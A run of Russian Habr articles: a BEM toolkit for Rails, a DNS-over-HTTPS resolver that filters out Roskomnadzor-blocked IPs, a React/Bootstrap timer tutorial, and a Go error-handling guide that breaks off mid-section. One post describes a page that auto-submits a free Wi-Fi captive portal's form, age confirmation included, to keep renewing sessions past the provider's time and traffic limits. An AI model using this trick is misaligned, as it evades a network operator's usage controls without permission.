Так же совсем неплохо иметь описание к каждому блоку/элементу/модификатору, причем в привычном markdown. Независимо от технологий, которые использую лично я, вы можете использовать свои, те, к которым давно привыкли. Для этого я создал initializer, в котором определил все настройки BEM. Там вы можете все отредактировать для себя, в том числе префиксы для блоков/элементов/модификаторов.
##### Рендеринг
Благо в рельсах есть хелперы. Благодаря им и хэшам, рендерить блоки в HAML вьюхах можно так:
```
= b "test", mods: [{color: "red"}], content: [{ elem: "icon", elemMods: [{size: "small"}] }]
= b "test", mods: [{color: "red"}], content: [{ block: "yeah", content: ["Hello, BEM!"] }]
= b "test", group: "name", mods: [:large, {color: "red"}], content: []
= b "test", cls: "custom", attrs: {"data-toggle": "modal"}, content: []
= b "test", tag: "article", content: []
```
На мой взгляд смахивает на BEMHTML и это не может не радовать. Для технологий slim, haml, sass, coffee, md я создал шаблоны. После создания блока, шаблон haml(например) станет реализацией блока на технологии haml. По образу и подобию можно создать шаблоны для всех интересующих вас технологий.
##### А ассеты?
С ассетами решается все крайне просто. Можно добавить любую директорию в скоуп, где будут искаться файлы стилей и скриптов. При создании блока/элемента/модификатора в файлы application.css.sass и application.js добавляются строки с определением, например:
```
//= require test/elements/__field/__field.coffee
```
Остальную работу делает Sprockets. Чтобы все работало хорошо, крайне рекомендуется не писать стилей и скриптов в файлах application.css.sass и application.js. Используйте их как конфиги, только для списка того, что ипользуется. Это удобно и без БЭМ. Такой подход позволяет забыть об объявлении используемых блоков/элементов/модификторов впринципе. Все происходит автоматически. Про deps.js можно забыть. Попробуйте!
#### Продакшн
Попробовать использовать данный набор инструментов можно уже сейчас. Я оформил их в виде гема, который вы можете установить себе в проект и использовать БЭМ уже сегодня. Ссылка на гитхаб: [bem-on-rails](https://github.com/verybigman/bem-on-rails).
##### Планы
1. Флаги bem и js.
2. Подмешивание блоков и элементов.
3. Модификаторы с изменением структуры блока. Пока только стиль и яваскрипт.
4. Bem из командной строки. Запуск тасков через Thor имеет свои недостатки.
##### Профит
Имея директорию с блоками в качестве гит репозитория вы можете подключать свои блоки в любые проекты. Реализация блока/элемента/модификатора может быть как на привычных для рельс технологиях так и на привычных для PHP. Один и тот же репозиторий блоков вы можете использовать как во всех своих проектах на Ruby on Rails (чего бы мне очень хотелось), так и в любых других проектах предполагающих использование БЭМ. Данный набор инструментов призван расширить сферу влияния БЭМ на такой замечательный фреймворк как Ruby on Rails.
Буду рад любым замечаниям и любой помощи. Спасибо за внимание!
**Stay BEMed!** | https://habr.com/ru/post/192972/ | null | ru | null |
# Кабысдох – DoH-припарка от русского firewall
```
# wtf cf-hls-media.sndcdn.com
cf-hls-media.sndcdn.com is an alias for d1ws1c3tu8ejje.cloudfront.net.
d1ws1c3tu8ejje.cloudfront.net has address 13.33.240.123
❌ 13.33.240.123 заблокирован
```
С в очередной раз замолчавшего радио и [начался](https://twitter.com/mathemonkey/status/1351883012305264640) тот день, когда я допилил DNS-over-HTTPS сервер для облегчения фантомных болей от творчества Роскомнадзора.
Боли эти хорошо описаны [@ValdikSS](/users/valdikss) в статье [«В России сохраняются проблемы с доступностью сайтов, но никто их не замечает»](https://habr.com/en/post/528210/).
Думать особо не приходится, суть проблем проста и решение тоже [не очень сложно](https://habr.com/en/post/528210/#comment_22342452): достаточно выкидывать из DNS ответов заблокированные IP адреса а, если адресов не осталось, заменять их на подходящие адреса с того же CDN. Такое издевательство над DNS позволяют как минимум Cloudflare и Amazon Cloudfront.
Например, если в условном DNS-ответе от AKAMAI пришли адреса `23.1.14.0` и `23.1.20.2`, а первый из них заблокирован РКН, то в таком случае DNS-сервер может отдать клиенту только один адрес из двух, и браузер не будет «тупить» в попытке установить соединение с заблокированным IP. Это не обход блокировок, скорее наоборот. Но оно измеримо уменьшает боль. Я был бы рад такую конструкцию увидеть у Яндекс.DNS в «Безопасном» режиме, но всё же не думаю, что [Яндекс](/company/yandex) готов реализовать такую в меру «серую» фичу.
Валить в панике из страны? Заворачивать весь трафик в VPN? Зачем! Интернет в России ещё не настолько поломан, чтоб добавлять 50-100ms ко всем своим Zoom-созвонам во времена повсеместной самоизоляции. Можно ещё попытаться что-то починить, да [посмеяться](https://usher2.club/articles/unpaid-internet-tale/) над тем, что осталось.
Но хочу предупредить, модель такого DNS-сервера по имени `kabysdoh.gulag.link` запущена на виртуалке в Санкт-Петербурге, поэтому её использование из других регионов России может добавить существенную задержку к вашим DNS-запросам. При наличии архива XML-выгрузок Роскомнадзора, можно взять [исходный код](https://github.com/usher2/kabysdoh/) с GitHub и запустить Unbound в подходящей локации. Поддержку Knot Resolver я с [@ValdikSS](/users/valdikss) допилю в каком-нибудь обозримом будущем.
Мобильные устройства на Android поддерживают DNS-over-TLS, который доступен по адресу `kabysdoh.gulag.link` (но, кажется, мы нашли баг в Unbound и с DNS-over-TLS [наблюдаются проблемы](https://habr.com/en/post/538806/#comment_22583376)), а Mozilla Firefox поддерживает DNS-over-HTTPS по адресу `https://kabysdoh.gulag.link/dns-query`. Скриншоты примерной конфигурации можно увидеть ниже (про все возможные опции DoH в Firefox можно [прочитать на wiki](https://wiki.mozilla.org/Trusted_Recursive_Resolver)):
У меня на сегодня всё! Надеюсь, кому-то данная конструкция будет полезна. И помните, [once you step into the waters of modifying in-flight DNS messages it seems like crocodiles all the way down](https://mailarchive.ietf.org/arch/msg/doh/5h0vFMHEG95s4vlie5v7K85sxS8/). | https://habr.com/ru/post/538806/ | null | ru | null |
# Начать с React и Bootstrap за 2 дня. День №1
Сразу скажу, что сайт будет быстрее работать, если заменить Bootstrap на чистый CSS и JS. Эта статья про то, как быстро начать разрабатывать красивые web-приложения, а оптимизация это уже отдельный вопрос, выходящий за пределы этой статьи.
Для начала надо хотя бы немного разбираться в HTML, CSS, JavaScript, XML, DOM, ООП и уметь работать в терминале (командной строке).
**Где брать материалы для изучения?**Для изучения HTML и CSS рекомендую [htmlbook.ru](http://htmlbook.ru/)
Для изучения JavaScript рекомендую [learn.javascript.ru](https://learn.javascript.ru/)
Для изучения XML рекомендую [msiter.ru/tutorials/uchebnik-xml-dlya-nachinayushchih](https://msiter.ru/tutorials/uchebnik-xml-dlya-nachinayushchih)
Про DOM можно почитать в уроке по JavaScript [learn.javascript.ru/dom-nodes](https://learn.javascript.ru/dom-nodes)
Для изучения ООП рекомендую видеокурс [proglib.io/p/oop-videocourse](https://proglib.io/p/oop-videocourse/)
Для изучения командной строки Windows рекомендую [cmd.readthedocs.io/cmd.html](https://cmd.readthedocs.io/cmd.html)
Для изучения терминала в Mac рекомендую [ixrevo.me/mac-os-x-terminal](http://ixrevo.me/mac-os-x-terminal/)
Если вы работаете в Linux, то **bash** и аналоги знаете, в крайнем случае **man** или **help** вам помогут.
Для изучения React использую [learn-reactjs.ru](https://learn-reactjs.ru/) (который является переводом официальной документации React: [reactjs.org](https://reactjs.org/)).
Для изучения Bootstrap использую [bootstrap-4.ru](http://bootstrap-4.ru/) (который является переводом официальной документации Bootstrap: [getbootstrap.com](https://getbootstrap.com/)).
Для того, чтобы подружить React и Bootstrap нашёл отличную статью [webformyself.com/kak-ispolzovat-bootstrap-s-react](https://webformyself.com/kak-ispolzovat-bootstrap-s-react/)
В этой статье сделаю выжимку минимально необходимого для работы и сделаем такой таймер:
Установка
---------
Для начала нам нужен менеджер пакетов. Я выбрал **npm**, а он есть в **Node.js**
Так что первым делом устанавливаете **Node.js** на свою операционную систему с официального сайта: [nodejs.org/en/download](https://nodejs.org/en/download/). С установкой вы сможете разобраться, так что процесс установки описывать не буду. Отмечу лишь, что под Ubuntu устанавливается просто:
```
sudo apt update
sudo apt install nodejs
sudo apt install npm
```
Через терминал проверяем, что Node.js и npm успешно установились:
```
nodejs -v
npm -v
```
Если при выводе возникнут ошибки – значит что-то прошло не так и надо разбираться, и возможно переустанавливать их. Если же выведется v c цифрами и точками – то всё хорошо.
Установим Create-react-app, чтобы потом можно было быстро создавать каркасы приложений:
```
npm install -g create-react-app
```
Далее создаём каркас приложения на React. Назовём наше приложение **new-app**. Если хотите создать приложение папке отличной от пользовательской папки – то сначала через терминал перейдите в неё с помощью команды **cd**. Итак, в терминале достаточно ввести 3 команды:
```
create-react-app new-app
cd new-app
npm start
```
Создаём приложение **new-app**. Переходим в папку **new-app**. Запускаем приложение. После этих строк должен запуститься браузер с приложением React по адресу <http://localhost:3000>
Терминал должен остаться открытым, без него не будет открываться страница приложения. Если вдруг закрыли – не беда. Достаточно с помощью команды **cd** перейти в папку приложения и запустить его командой **npm start**
Теперь установим Bootstrap
```
npm install bootstrap
```
Так же советуют установить к нему зависимости jquery и popper.js, но они нужны только для JS-части Bootstrap. Попробовал без них — CSS-часть Bootstrap нормально работает, так что следующие строки в терминале не обязательны:
```
npm install jquery popper.js
```
Далее надо внести изменения в файлы приложения, для этого переходим в папку new-app, где находится приложение в файл **src/index.js** добавляем строку, она должна быть первой:
```
import 'bootstrap/dist/css/bootstrap.min.css';
```
Если будете использовать jQuery, popper.js или JS-часть Bootstrap (модальные окна, анимации и т.д), то потребуется под первой строкой добавить ещё 3 строки:
```
import $ from 'jquery';
import Popper from 'popper.js';
import 'bootstrap/dist/js/bootstrap.bundle.min';
```
Теперь осталось запустить проект:
```
npm start
```
И снова откроется браузер по адресу <http://localhost:3000> уже с приложением, облагороженным с помощью Bootstrap:
Так же для отладки React можно установить расширение «**React Developer Tools**» для браузера. Актуальные ссылки на расширение для [Chrome](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi) и [Firefox](https://addons.mozilla.org/firefox/addon/react-devtools/) и другие варианты использования указаны в официальном репозитории [github.com/facebook/react-devtools](https://github.com/facebook/react-devtools)
Установка и первоначальная настройка на этом завершена.
JSX, компоненты и свойства
--------------------------
Давайте посмотрим, что нам сгенерировал **create-react-app** — исходные файлы лежат в каталоге src. Во-первых, посмотрим файл **index.js** – там несколько строчек импорта. По строчкам понятно, что они делают, так что не буду комментировать.
Самая важная строка в этом файле:
```
ReactDOM.render(, document.getElementById('root'));
```
В ней рисуется страница приложения. В исходном HTML-файле находится элемент с id=root. В этом выводится компонент **App**, который рисуется функцией render класса **ReactDOM**. При этом компонент рисуется в форме, похожей на XML, которая и называется JSX (о котором позже).
Теперь перейдём в файл **App.js**, где находится реализация класса App, который наследуется от класса **React.Component**.
```
class App extends React.Component {
В классе вызывается метод **render()**, который рисует страницу на JSX:
Edit `src/App.js` and save to reload.
[Learn React](https://reactjs.org)
```
JSX очень похож на HTML, при этом есть вставки JS-кода в фигурных скобках {}. И обязательно должен быть один корневой элемент, в данном случае .
Чтобы лучше разобраться – сотрём весь код метода **render()**, и напишем простейший компонент:
```
class App extends React.Component {
render() {
return Привет, {this.props.name}!
==========================
;
}
}
```
А теперь вернёмся в файл index.js и исправим
```
ReactDOM.render(, document.getElementById('root'));
```
После сохранения файлов – в браузере обновится страница. А теперь будем разбираться.
Концептуально, компоненты подобны JavaScript-функциям. Они принимают произвольные данные (называемые props) и возвращают React-элементы, описывающие что должно появиться на экране. Компоненты позволяют разделить UI на независимые, переиспользуемые части и работать с каждой из них отдельно.
Когда React видит, что элемент представляет собой пользовательский компонент, он передает все JSX-атрибуты в этот компонент единым объектом. Такой объект называется props.
В примере параметр **name** передаётся в компонент как атрибут тега со значением «**Мир**». Далее в методе **render()** класса **App** в качестве результата функции внутри JSX, который фактически является HTML-шаблоном – в фигурных скобках **{}** указывается **this** – текущий класс, **props** – пользовательский объект, **name** – название параметра объекта.
Конструктор, жизненный цикл и изменение состояния
-------------------------------------------------
Помимо параметров, хранящихся в **props** можно хранить состояние объекта в **state**.
Сделаем таймер. Для таймера не нужны параметры, поэтому уберём параметры в **index.js**:
```
ReactDOM.render(, document.getElementById('root'));
```
А теперь в файле **App.js** заменим весь текст между **import** и **export**:
```
const INTERVAL = 100;
class App extends Component {
constructor(props) {
super(props);
this.state = {value: 0};
}
increment(){
this.setState({value: this.state.value + 1});
}
componentDidMount() {
this.timerID = setInterval(() => this.increment(), 1000/INTERVAL);
}
componentWillUnmount() {
clearInterval(this.timerID);
}
render() {
const value = this.state.value
return (
Таймер:
{Math.floor(value/INTERVAL/60/60)} :
{Math.floor(value/INTERVAL/60) % 60} :
{Math.floor(value/INTERVAL) % 60} .
{value % INTERVAL}
);
}
}
```
После вставки и сохранения этого кода на странице появится и автоматически запустится таймер.
Давайте разбирать этот код. До класса объявили константу, благодаря которой можно регулировать частоту обновления таймера.
Далее внутри класса идёт обязательный конструктор класса, в который передаётся props. Далее стандартная обработка конструктора родительского класса **super(props)** и определение состояния **value** через **this** – текущий объект. Это единственное место, где можно напрямую установить состояние. В остальных местах доступно только чтение, либо установка состояния специальным методом **setState()**, который используется в следующем методе **increment()** для увеличения состояния **value** на единицу.
В приложениях с множеством компонентов очень важно высвобождать ресурсы, занятые компонентами, когда они уничтожаются. Нам необходимо устанавливать таймер каждый раз, когда DOM отрисовывается в первый раз. В React это называется «монтированием/монтажом». Также нам нужно очищать этот таймер, каждый раз когда DOM, созданный компонентом, удаляется. В React это называется «демонтированием/демонтажём».
Для этого и используются методы **componentDidMount()** и **componentWillUnmount()**. В документации эти методы носят название «**lifecycle hooks**». Мы же будем для простоты называть их методами жизненного цикла. Метод **componentDidMount()** срабатывает после того, как компонент был отрисован в DOM. Это хорошее место, чтобы установить таймер. Очищать таймер будем в методе **componentWillUnmount()** жизненного цикла.
Обратите внимание, как мы в **componentDidMount()** сохраняем ID таймера прямо в **this** используя стрелочную функцию. В то время как this.props самостоятельно устанавливаются React-ом и **this.state** имеет определенное значение, вы свободно можете добавить дополнительные поля в класс вручную, если вам необходимо хранить что-нибудь, что не используется для визуального вывода. Если вы не используете что-то в **render()**, оно не должно находиться в состоянии **state**.
Далее на время выполнения **render()** в локальной константе value фиксируется значение состояния value. И далее с помощью математической функции **floor()**, которая округляет число в меньшую сторону, деления(**/**) и получение остатка от деления(**%**) получаем части таймера, которые далее выводим в одну строку после слова Таймер. Можно посмотреть результаты нашей работы.
Оформление с помощью Bootstrap
------------------------------
Не удобно, что таймер работает сразу при обновлении страницы. Хотелось бы, чтобы он запускался и останавливался при нажатии на соответствующие кнопки. А ещё хотелось бы, чтобы он был в центре и крупный.
Начнём с оформления. Для этого в файл **App.css** добавим следующие строки:
```
.container-fluid {
display: flex;
flex-direction: column;
}
```
Благодаря встроенному в Bootstrap адаптивно-резиновому контейнеру **container-fluid**, который помогает создать полностью гибкий макет страницы или некоторого блока. Данный контейнер имеет 100% ширину. Сделаем контейнер **flex**, с направлением выстраивания элементов по вертикали – чтобы он занял всё пространство и его можно было выровнять по центру.
Теперь доработаем метод **render()** в **App.js**, чтобы применить стили Bootstrap и добавить пару кнопок. Для этого заменим возвращаемое методом значение на следующее:
```
Таймер
======
`{Math.floor(value/INTERVAL/60/60)}` :
`{Math.floor(value/INTERVAL/60) % 60}` :
`{Math.floor(value/INTERVAL) % 60}` .
`{value % INTERVAL < 10 ? '0' : ''}{value % INTERVAL}`
====================================================================================================================================================================================
Остановить
Сбросить
```
В первой строке к корневому добавили 2 класса Bootstrap: **container-fluid**(о котором писал выше) и **align-items-center** – который как раз и выравнивает элементы контейнера по центру.
Далее два с классом **display-1** – этот класс как раз для показа крупного текста.
Далее на цифры добавил новый тег — который обычно используется для подсветки клавиш, которые нужно нажать. В данном случае он отлично подходит для контраста показываемых цифр.
В последней цифре, показывающей части секунды добавлено условное выражение, позволяющее для однозначных цифр (<10) выводить в начале 0, и не выводить его для двухзначных чисел. Это нужно, чтобы цифры каждую секунду не дёргались. Для этого используем тернарный оператор JavaScript: **условие? true: false**
Далее в отдельном поместил 2 кнопки с классом **Display-4** – этот класс подобрал, как наиболее подходящий по размеру, чтобы кнопки соответствовали размеру таймера. Между кнопками вставил символ — неразрывный пробел, чтобы кнопки не сливались.
Можно запустить, но кнопки пока не работают. Научим кнопки работать.
Обработка событий
-----------------
Для начала добавим в код вывода кнопок вызов соответствующих функций:
```
Остановить
Сбросить
```
Обратите внимание, что в React обработчик события **onClick**, а не **onclick**, как в JavaScript и вызываемая функция указывается в фигурных скобках без круглых скобок и с указанием объекта, из которого вызывается метод, в данном случае это **this**.
Теперь определим указанные методы **stopTimer()** и **resetTimer()**:
```
stopTimer(){
clearInterval(this.timerID);
}
resetTimer(){
this.setState({value: 0});
}
```
Но этого ещё недостаточно и если оставить так, то при нажатии кнопки будет появляться ошибка, т.к. this при вызове функции будет **undefined**. Это возникает из-за того, что в JavaScript, методы класса не привязаны по умолчанию. Как правило, если вы ссылаетесь на метод без () после него, например, **onClick={this.resetTimer}**, вам необходимо привязать этот метод.
Привяжем методы в конструкторе класса, добавив туда 2 строчки:
```
this.stopTimer = this.stopTimer.bind(this);
this.resetTimer = this.resetTimer.bind(this);
```
Отлично, заработало! Вот только кнопкой остановки можно воспользоваться только 1 раз, и после этого кнопки перестают работать. И это логично, ведь вызвав **stopTimer()** мы отключили регулярный вызов функций, вызвав **clearInterval()**.
В комментариях посоветовали использовать стрелочные функции. Попробовал, это работает. Так что можно можно не добавлять 2 строки в конструктор, а сами функции заменить следующими стрелочными функциями:
```
stopTimer = () => {
this.timerID = setInterval(() => this.increment(), 1000/INTERVAL);
}
resetTimer = () => {
this.setState({value: 0});
}
```
Чтобы решить это – сделаем, чтобы кнопка «Остановить» работала ещё и как «Запустить».
Для начала добавим в конструктор булево состояние **stopped**, чтобы понимать, в каком режиме работает кнопка:
```
this.state = {value: 0, stopped: false};
```
Теперь полностью заменяем содержимое метода **stopTimer()**:
```
this.setState({stopped: !this.state.stopped});
if(this.state.stopped){
clearInterval(this.timerID);
}
else
{
this.timerID = setInterval(() => this.increment(), 1000/INTERVAL);
};
```
В начале метода меняем состояние **stopped** на противоположное через **setState()**.
Далее, если таймер должен быть остановлен (т.е. **stopped = true**) – то отключаем регулярный вызов функций через **clearInterval()**, а если таймер должен быть запущен (т.е. **stopped = false**), то запускаем регулярный вызов функций аналогично методу **componentDidMount()**.
Также надо исправить метод **increment()**, чтобы он останавливался, когда **stopped = true**:
```
increment(){
if(!this.state.stopped) (this.setState({value: this.state.value + 1}));
}
```
И напоследок меняем название кнопки в зависимости от состояния stopped, вставив вместо «Остановить» следующее:
```
{this.state.stopped?'Продолжить':'Остановить'}
```
Теперь у нас получился красивый, удобный таймер.
Вместо заключения или вишенка на торте
--------------------------------------
Напоследок хотелось бы изменить стандартные заголовок и иконку окна на наши.
Изменить заголовок можно установив **document.title** в методе **componentDidMount()**, но мы пойдём дальше и сделаем, чтобы в заголовке страницы отображалось время с точностью до секунд, для этого добавим установку **document.title** в специальный метод **componentDidUpdate()**:
```
componentDidUpdate(){
const value = this.state.value;
if (this.state.stopped) document.title = "Таймер";
else document.title = "Таймер: "+Math.floor(value/INTERVAL/60/60)+":"
+Math.floor(value/INTERVAL/60) % 60+":"+Math.floor(value/INTERVAL) % 60;
}
```
Теперь в заголовке страницы повторяется таймер до секунд, а когда таймер остановлен, то показывается лишь слово Таймер.
С иконкой всё просто. Достаточно подготовить картинку в формате **jpg**, **bmp**, **gif**, **png**, закинуть в папку **public** (а не **src**, в которой мы в основном работали), назвав, например **favicon.png** и поменять в файле **public\index.html** строку:
на строку:
На сегодня это всё, что я хотел рассказать. В следующей статье подробнее расскажу про Bootstrap, которого в этой статье лишь слегка коснулся. Кроме Bootstrap остались ещё важные темы: списки, таблицы, формы и мышление в стиле React.
[**Напоследок репозиторий в BitBucket, в котором есть весь код к этой статье**](https://bitbucket.org/lavsexpert/learn-react-bootstrap/) | https://habr.com/ru/post/431826/ | null | ru | null |
# Как перестать замечать ограниченность траффика у бесплатных WiFi
Добрый день, уважаемые хабражители!
Этот пост, совмещенный с вопросом, посвящен попытке сделать работу с бесплатными WiFi удобной.
Пост написан про определенную сеть, но при простом допиле сгодится почти для всех. Во избежание проклятий скажу, что в JS не смыслю почти ничего.
##### Предыстория
Как вы знаете, сейчас очень распространен в кофейнях, ТЦ и т.п. бесплатный вайфай. У большинства из них схожие методы работы, но тут я буду говорить про одно конкретное место. Там работа идет внутри сессии размером 30 минут и ~50МБ. Если активной сессии нет, то любая попытка загрузить внешний сайт автоматически редиректится на страницу регистрации сессии (.../status.php). На ней кнопка «Продолжить работу в интернет», переводящая, в свою очередь, на [www.@CompanyName@.ru](http://www.@CompanyName@.ru). Более того, редирект на эту страницу автоматически идет через 10 секунд после загрузки.
В итоге без дополнительного шаманства загрузить средствами браузера файл >30МБ — большая удача, >50МБ в принципе невозможно. Плюс порой сессия обрывается в процессе написания текста, а последующий редирект вынуждает переписывать текст заново, что порой крайне бесит.
Проблема решалась написанием простенького локального html-файла, перезагружающегося раз в 15 секунд и пытающегося в iframe загрузить что-нибудь извне.
```
\_
```
В результате по окончании сессии новая регистрировалась в течение 10 секунд, количество ложных редиректов упало почти до нуля, а отличия бесплатного интернета от домашнего свелись лишь к блокировке торрентов.
И всё бы было ничего, если бы в один прекрасный день провайдер не изменил правила регистрации сессии. Раньше сессия регистрировалась при любой загрузке http:://.../status.php. Теперь же на этой странице появилась форма с чекбоксом и словами о совершеннолетии. При отжатом чекбоксе вместо желтой кнопки мы получали серую некликабельную картинку, при нажатом кнопка возвращалась. Старый файл, естественно, не работал, регистрация теперь проходит при нажатии на кнопку.
**Вот код, отвечающий за кнопку**
```
//здесь функции для обработки checkbox'а. Скрывает btncontinue\_g и показывает btncontinue или наоборот.
Мне уже исполнилось 18 лет
```
Посмотрев код да понажимав кнопку я узнал три новости. Хорошая — для регистрации нужно всего лишь законфирмить форму, которая при этом не передает значение чекбокса. Плохая — method=«POST», значит, простой запрос ../status.php?mode=partner… не прокактит. И забавная — после нажатия на кнопку происходят аж три редиректа, от двух из которых можно было бы и избавиться.
Ну и, соответственно, решение: делаем такую же форму с таргетом в фрейм и при загрузке страницы говорим confirm(). На это, правда, у меня ушел час, плюс в какое-то время мне нужны были два файла, но в итоге получилось **это:**
```
function refreshIFrame() {
document.getElementById("olol").submit();
}
Refreshing
text
text
``` | https://habr.com/ru/post/181854/ | null | ru | null |
# Обработка ошибок в Go
Привет, хабровчане! Уже сегодня в ОТУС стартует курс [«Разработчик Golang»](https://otus.pw/Hjyy/) и мы считаем это отличным поводом, чтобы поделиться еще одной полезной публикацией по теме. Сегодня поговорим о подходе Go к ошибкам. Начнем!
### Освоение прагматической обработки ошибок в вашем Go-коде
*Этот пост является частью серии [«Перед тем как приступать к Go»](https://medium.com/gett-engineering/before-you-go-go-bf4f861cdec7), где мы исследуем мир Golang, делимся советами и идеями, которые вы должны знать при написании кода на Go, чтобы вам не пришлось набивать собственные шишки.*
Я предполагаю, что у вас уже имеется хотя бы базовый опыт работы с Go, но если вы чувствуете, что в какой-то момент вы столкнулись с незнакомым обсуждаемым материалом, не стесняйтесь делать паузу, исследовать тему и возвращаться.
Теперь, когда мы расчистили себе путь, поехали!
Подход Go к обработке ошибок — одна из самых спорных и неправильно используемых фич. В этой статье вы узнаете подход Go к ошибкам, и поймете, как они работают “под капотом”. Вы изучите несколько различных подходов, рассмотрите исходный код Go и стандартную библиотеку, чтобы узнать, как обрабатываются ошибки и как с ними работать. Вы узнаете, почему утверждения типа (Type Assertions) играют важную роль в их обработке, и увидите предстоящие изменения в обработке ошибок, которые планируется ввести в Go 2.
Вступление
----------
Сперва-наперво: ошибки в Go не являются исключениями. [Дэйв Чейни](https://medium.com/@davecheney) написал [эпический блогпост](https://dave.cheney.net/2012/01/18/why-go-gets-exceptions-right) об этом, поэтому я отсылаю вас к нему и резюмирую: на других языках вы не можете быть уверены, может ли функция вызвать исключение или нет. Вместо генерации исключений функции Go поддерживают **множественные возвращаемые значения**, и по соглашению эта возможность обычно используется для возврата результата функции наряду с переменной ошибки.
Если по какой-то причине ваша функция может дать сбой, вам, вероятно, следует вернуть из нее предварительно объявленный `error`-тип. По соглашению, возврат ошибки сигнализирует вызывающей стороне о проблеме, а возврат nil не считается ошибкой. Таким образом, вы дадите вызывающему понять, что возникла проблема, и ему нужно разобраться с ней: кто бы ни вызвал вашу функцию, он знает, что не должен полагаться на результат до проверки на наличие ошибки. Если ошибка не nil, он обязан проверить ее и обработать (логировать, возвращать, обслуживать, вызвать какой-либо механизм повторной попытки/очистки и т. д.).
*(3 // обработка ошибки
5 // продолжение)*
Эти фрагменты очень распространены в Go, и некоторые рассматривают их в качестве шаблонного кода. Компилятор рассматривает неиспользуемые переменные как ошибки компиляции, поэтому, если вы не собираетесь проверять наличие ошибок, вы должны назначить их [пустому идентификатору](https://golang.org/ref/spec#Blank_identifier). Но как бы удобно это ни было, ошибки не следует игнорировать.
*( 4 // игнорирование ошибок небезопасно, и вы не должны полагаться на результат прежде, чем проверите наличие ошибок)*
***результату нельзя доверять до проверки на наличие ошибок***
Возврат ошибки вместе с результатами, наряду со строгой системой типов Go, значительно усложняет написание забагованного кода. Вы всегда должны полагать, что значение функции повреждено, если только вы не проверили ошибку, которую она возвратила, и, присваивая ошибку пустому идентификатору, вы явно игнорируете, что значение вашей функции может быть повреждено.
***Пустой идентификатор темен и полон ужасов.***
У Go действительно есть `panic` и `recover` механизмы, которые также описаны в [другом подробном посте в блоге Go](https://blog.golang.org/defer-panic-and-recover). Но они не предназначены для имитации исключений. По словам Дейва, *«Когда вы паникуете в Go — вы действительно паникуете: это не проблема кого-то другого, это уже геймовер».* Они фатальны и приводят к сбою в вашей программе. Роб Пайк придумал поговорку «Не паникуйте», которая говорит сама за себя: вам, вероятно, следует избегать эти механизмы и вместо них возвращать ошибки.
> «Ошибки — значения».
>
> «Не просто проверяйте наличие ошибок, а элегантно их обрабатывайте»
>
> «Не паникуйте»
>
> [все поговорки Роба Пайка](https://go-proverbs.github.io/)
>
>
Под капотом
-----------
**Интерфейс ошибки**
Под капотом тип error — это [простой интерфейс с одним методом](https://golang.org/ref/spec#Errors), и если вы с ним не знакомы, я настоятельно рекомендую просмотреть [этот пост](https://blog.golang.org/error-handling-and-go) в официальном блоге Go.
***интерфейс error из исходного кода***
Свои собственные ошибки реализовать не сложно. Существуют различные подходы к пользовательским структурам, реализующим метод `Error()` `string` . Любая структура, реализующая этот единственный метод, считается допустимым значением ошибки и может быть возвращена как таковая.
Давайте рассмотрим несколько таких подходов.
### Встроенная структура errorString
Наиболее часто используемая и широко распространенная реализация интерфейса ошибок — это встроенная структура `errorString` . Это самая простая реализация, о которой вы только можете подумать.
Источник: [исходный код Go](https://golang.org/src/errors/errors.go)
Вы можете лицезреть ее упрощенную реализацию [здесь](https://golang.org/src/errors/errors.go). Все, что она делает, это содержит `string`, и эта строка возвращается методом `Error`. Эта стринговая ошибка может быть нами отформатирована на основе некоторых данных, скажем, с помощью `fmt.Sprintf`. Но кроме этого, она не содержит никаких других возможностей. Если вы применили [errors.New](https://golang.org/src/errors/errors.go?s=293:353#L1) или [fmt.Errorf](https://golang.org/src/fmt/print.go#L220), значит вы уже [использовали ее](https://play.golang.org/p/olRXqq3jNyR).
*(13// вывод:)*
[попробуйте](https://play.golang.org/p/oWy5BNY1Hzq)
### github.com/pkg/errors
Другой простой пример — пакет [pkg/errors](https://github.com/pkg/errors/blob/master/errors.go). Не путать со встроенным пакетом `errors`, о котором вы узнали ранее, этот пакет предоставляет дополнительные важные возможности, такие как обертка ошибок, развертка, форматирование и запись стек-трейса. Вы можете установить пакет, запустив `go get github.com/pkg/errors`.
В тех случаях, когда вам нужно прикрепить стек-трейс или необходимую информацию об отладке к вашим ошибкам, использование функций `New` или `Errorf` этого пакета предоставляет ошибки, которые уже записываются в ваш стек-трейс, и вы так же можете прикрепить простые метаданные, используя его возможности форматирования. `Errorf` реализует интерфейс [fmt.Formatter](https://golang.org/pkg/fmt/#Formatter), то есть вы можете отформатировать его, используя руны пакета `fmt` ( `%s`, `%v`, `%+v` и т. д.).
*(//6 или альтернатива)*
Этот пакет также представляет функции `errors.Wrap` и `errors.Wrapf`. Эти функции добавляют контекст к ошибке с помощью сообщения и стек-трейса в том месте, где они были вызваны. Таким образом, вместо простого возврата ошибки, вы можете обернуть ее контекстом и важными отладочными данными.
Обертки ошибок другими ошибками поддерживают `Cause() error` метод, который возвращает их внутреннюю ошибку. Кроме того, они могут использоваться `сerrors.Cause(err error) error` функцией, которая извлекает основную внутреннюю ошибку в оборачивающей ошибке.
Работа с ошибками
-----------------
### Утверждение типа
Утверждения типа ([Type Assertion](https://golang.org/ref/spec#Type_assertions)) играют важную роль при работе с ошибками. Вы будете использовать их для извлечения информации из интерфейсного значения, а поскольку обработка ошибок связана с пользовательскими реализациями интерфейса `error`, реализация утверждений на ошибках является очень удобным инструментом.
Его синтаксис одинаков для всех его целей — `x.(T)`, если `x` имеет тип интерфейса. `x.(T)` утверждает, что `x` не равен `nil` и что значение, хранящееся в `x`, относится к типу `T`. В следующих нескольких разделах мы рассмотрим два способа использования утверждений типа — с конкретным типом `T` и с интерфейсом типа `T`.
*(2//сокращенный синтаксис, пропускающий логическую переменную ok
3//паника: преобразование интерфейса: интерфейс {} равен nil, а не string
6//удлиненный синтаксис с логической переменной ok
8//не паникует, вместо этого присваивает ok false, когда утверждение ложно
9// теперь мы можем безопасно использовать s как строку)*
***песочница: [panic при укороченном синтаксисе](https://play.golang.org/p/bl-O3lJrixF), [безопасный удлинённый синтаксис](https://play.golang.org/p/CLLyXQWyrgF)***
> *Дополнительное примечание, касающееся синтаксиса: утверждение типа может использоваться как с укороченным синтаксисом (который паникует при неудачном утверждении), так и с удлиненным синтаксисом (который использует логическое значение OK для указания успеха или неудачи). Я всегда рекомендую брать удлиненный вместо укороченного, так как я предпочитаю проверять переменную OK, а не разбираться с паникой.*
### Утверждение с интерфейсом типа T
